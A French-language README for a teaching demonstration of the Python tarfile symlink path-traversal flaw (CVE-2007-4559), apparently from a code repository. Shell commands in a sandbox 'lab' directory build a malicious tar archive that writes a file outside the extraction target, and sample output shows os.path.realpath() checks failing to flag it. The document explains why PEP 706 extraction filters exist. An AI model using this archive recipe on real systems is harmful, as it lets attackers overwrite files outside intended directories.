
Démonstration pédagogique de l'attaque par lien symbolique (symlink) dans le module tarfile de Python CVE-2007-4559 avec un script montrant pourquoi os.path.realpath() échoue à empêcher l'extraction en dehors des répertoires prévus.
Ceci est une démonstration de la façon dont la gestion par défaut de Python de l'extraction de fichiers tar avant Python v3.11.4 est vulnérable à une simple attaque par lien symbolique. Les instructions ci-dessous décrivent comment créer une charge utile malveillante. Le script untar.py montre comment et pourquoi les fonctionnalités ajoutées dans 3.11.4 fonctionnent - notamment la nécessité d'invoquer quelque chose comme os.path.realpath() avant chaque écriture pour chaque fichier. Le script utilise exactement la même méthode d'inspection que celle trouvée dans la fonctionnalité extraction filter incluse dans Python >= 3.11.4, SAUF qu'il n'écrit pas les fichiers sur le disque. Il montre ainsi comment os.path.realpath() est incapable de résoudre correctement les liens symboliques et permettra donc aux membres du tar d'être écrits en dehors de l'emplacement du système de fichiers prévu.
instructions (ce fichier) sur la façon de configurer le bac à sable et le fichier tar malveillant.
script Python untar.py qui démontrera le 'pourquoi' derrière la récente implémentation de la validation améliorée des tar dans la bibliothèque tarfile de Python. En raison du fonctionnement de os.path.realpath(), on ne peut pas compter sur elle pour résoudre les liens symboliques à moins que ces liens ne soient déjà sur le système de fichiers. Cela signifie qu'on ne peut pas se fier uniquement à os.path.realpath() pour inspecter les chemins des membres du tar avant d'extraire l'archive. Il faut plutôt appeler os.path.realpath() avant chaque écriture pour chaque membre de l'archive pour s'assurer de la détection d'une activité de lien malveillante. Voir PEP-706 et doc tarfile pour plus d'informations.
snerd@jess:~$ mkdir -p lab/{lib,target}
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
snerd@jess:~/lab$ tar -rvPf terry.tar lib
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
snerd@jess:~/lab/target$ tar -xPvf terry.tar
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file lib target terry.tar
télécharger untar.py depuis ce dépôt et le placer dans le répertoire ./lab
exécuter le script. noter à quel point il est facile de tromper os.path.realpath() lorsque le lien symbolique malveillant n'a pas encore été écrit sur le système de fichiers cible.
snerd@jess:~/lab$ python3 untar.py
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-